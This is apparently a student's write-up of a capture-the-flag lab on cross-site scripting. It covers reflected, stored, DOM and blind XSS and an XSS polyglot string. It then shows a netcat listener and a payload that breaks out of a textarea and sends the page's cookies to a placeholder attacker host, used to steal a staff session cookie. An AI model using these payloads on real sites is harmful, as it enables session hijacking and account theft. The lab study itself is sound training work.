# Intro to Cross-site Scripting

We get an explaination of XSS and some examples of different types of XSS attacks e.g. a Proof of Concept, Session Stealing, Key Logger, Business Logic.

We then learn a bit about Reflected XSS, and how to test for it e.g.&#x20;

* Parameters in the URL Query String
* URL File Path
* Sometimes HTTP Headers (although unlikely exploitable in practice)

Next we learn about Stored XSS attacks and that these can be things like comments on a blog, user profile information or website listings. Next is DOM Based XSS which requires a lot more knowledge and skill as well as Blind XSS attacks which which is similar to stored XSS attacks but you can't see the payload working or be able to test it against yourself first.



We then go onto the next section called 'Perfecting Your Payload' where we go through some different XSS attacks and how we can get escape out of different things e.g. inputs, text areas, JS code etc.

Most important we learn about the XSS Polygot which allows us to test for all of these with a single line of code.&#x20;

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
```

In the final section we need to execute a blind XSS attack on a customer ticket portal.

We start by making an account and creating a ticket, once we view the ticket we notice that it uses a text area to edit the contents. We create a new ticket and escape the text area like so `</textarea>test`, we can try this with an `alert()` to see if it works and as expected it does.

Next we learn about Netcat and how to set it up to listen to a specific port which we do with the following command where -n allows us to discover errors, -l puts netcat on listening mode, -v is verbose mode and -p allows us to specify the port which is 9001 for us.

```bash
nc -n -l -v -p 9001
```

We then get provided with a payload to use which looks like this;

```javascript
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script
```

As well as a breakdown of what it does and how it works;

<figure><img src="https://3327375890-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLlh8xecHsVSTzvsIi5w6%2Fuploads%2FDBGV1pSRDvbuMZkwXKPf%2Fimage.png?alt=media&#x26;token=20dc333b-38dc-49ee-a97f-903b331469ea" alt=""><figcaption><p>Breakdown of the payload</p></figcaption></figure>

We can then create another ticket and use the payload in the ticket body after we have updated the payload to use out Attackbox IP and the port number.

Once we open the ticket this is the output we get from Netcat;

<figure><img src="https://3327375890-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLlh8xecHsVSTzvsIi5w6%2Fuploads%2Fdwr5qbo5sEnKR10Z5xCs%2Fimage.png?alt=media&#x26;token=9280a12c-ce9d-4305-a355-e707fc2e79c9" alt=""><figcaption><p>Netcat output</p></figcaption></figure>

We can then take the cookie value and base64 decode it to get the value of the staff-session cookie which is our flag for this task.
